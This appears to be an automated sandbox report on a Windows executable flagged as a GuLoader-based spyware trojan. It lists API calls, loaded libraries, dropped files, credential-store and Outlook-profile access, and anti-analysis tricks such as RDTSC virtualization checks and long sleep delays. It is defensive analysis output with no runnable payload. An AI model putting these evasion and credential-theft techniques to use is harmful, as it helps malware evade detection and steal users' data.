Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B5208	5_2_384B5208
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BBA97	5_2_384BBA97
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B5AA8	5_2_384B5AA8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B5AB8	5_2_384B5AB8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B7B4F	5_2_384B7B4F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B6358	5_2_384B6358
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BA352	5_2_384BA352
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B6368	5_2_384B6368
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B3B08	5_2_384B3B08
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B3B18	5_2_384B3B18
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B43C8	5_2_384B43C8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B6C09	5_2_384B6C09
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B1400	5_2_384B1400
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B6C18	5_2_384B6C18
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B74C8	5_2_384B74C8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B1CA0	5_2_384B1CA0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B74B8	5_2_384B74B8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B1CB0	5_2_384B1CB0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B255F	5_2_384B255F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B2550	5_2_384B2550
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B2560	5_2_384B2560
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B9D00	5_2_384B9D00
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B4DB2	5_2_384B4DB2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B4DB0	5_2_384B4DB0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B8640	5_2_384B8640
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B565F	5_2_384B565F
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B5650	5_2_384B5650
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B5660	5_2_384B5660
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B2E00	5_2_384B2E00
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B2E10	5_2_384B2E10
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B36C2	5_2_384B36C2
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B36C0	5_2_384B36C0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B96B8	5_2_384B96B8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B3F72	5_2_384B3F72
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B3F70	5_2_384B3F70
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B5F10	5_2_384B5F10
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B67C0	5_2_384B67C0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BAFE8	5_2_384BAFE8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BAFF8	5_2_384BAFF8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384BAFF7	5_2_384BAFF7
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B0F98	5_2_384B0F98
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B0FA8	5_2_384B0FA8
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_384B67B0	5_2_384B67B0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_389E6FA0	5_2_389E6FA0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_389ED608	5_2_389ED608
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_389EE790	5_2_389EE790
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_389E8328	5_2_389E8328

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: String function: 00402BBF appears 49 times

Source: ppISxhDcpF.exe, 00000005.00000002.2734705758.00000000354E7000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs ppISxhDcpF.exe

Source: ppISxhDcpF.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_004032A0 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		5_2_004032A0

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,LdrInitializeThunk,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: 0_2_00402095 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402095

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

File created: C:\Users\user\AppData\Local\Temp\nsxAE23.tmp

Jump to behavior

Source: ppISxhDcpF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000357E8000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000357D3000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000357B5000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000357C5000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2736032194.00000000366FD000.00000004.00000800.00020000.00000000.sdmp, ppISxhDcpF.exe, 00000005.00000002.2734788636.00000000357F4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ppISxhDcpF.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

File read: C:\Users\user\Desktop\ppISxhDcpF.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ppISxhDcpF.exe "C:\Users\user\Desktop\ppISxhDcpF.exe"
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process created: C:\Users\user\Desktop\ppISxhDcpF.exe "C:\Users\user\Desktop\ppISxhDcpF.exe"
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process created: C:\Users\user\Desktop\ppISxhDcpF.exe "C:\Users\user\Desktop\ppISxhDcpF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: ppISxhDcpF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.1991339210.00000000035CA000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2709490272.000000000225A000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

Code function: 0_2_10001B18 LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,lstrcpyW,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleW,LdrInitializeThunk,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_0015A487 push dword ptr [ebp+ecx-75h]; retf	5_2_0015A492
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Code function: 5_2_0015A4F9 push dword ptr [ebp+ebx-75h]; iretd	5_2_0015A4FD

Source: C:\Users\user\Desktop\ppISxhDcpF.exe

File created: C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	API/Special instruction interceptor: Address: 363A850
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	API/Special instruction interceptor: Address: 22CA850

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	RDTSC instruction interceptor: First address: 3605623 second address: 3605623 instructions: 0x00000000 rdtsc 0x00000002 test al, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FB9FD114B83h 0x00000008 inc ebp 0x00000009 push edx 0x0000000a mov edx, 1EEFD62Bh 0x0000000f cmp edx, 000000C2h 0x00000015 jl 00007FB9FD14A6BAh 0x0000001b pop edx 0x0000001c inc ebx 0x0000001d cmp ch, bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	RDTSC instruction interceptor: First address: 2295623 second address: 2295623 instructions: 0x00000000 rdtsc 0x00000002 test al, al 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FB9FCEC3213h 0x00000008 inc ebp 0x00000009 push edx 0x0000000a mov edx, 1EEFD62Bh 0x0000000f cmp edx, 000000C2h 0x00000015 jl 00007FB9FCEF8D4Ah 0x0000001b pop edx 0x0000001c inc ebx 0x0000001d cmp ch, bh 0x0000001f rdtsc

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Memory allocated: 356D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Memory allocated: 354F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598561	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\ppISxhDcpF.exe	Thread delayed: delay time: 597656	Jump to behavior
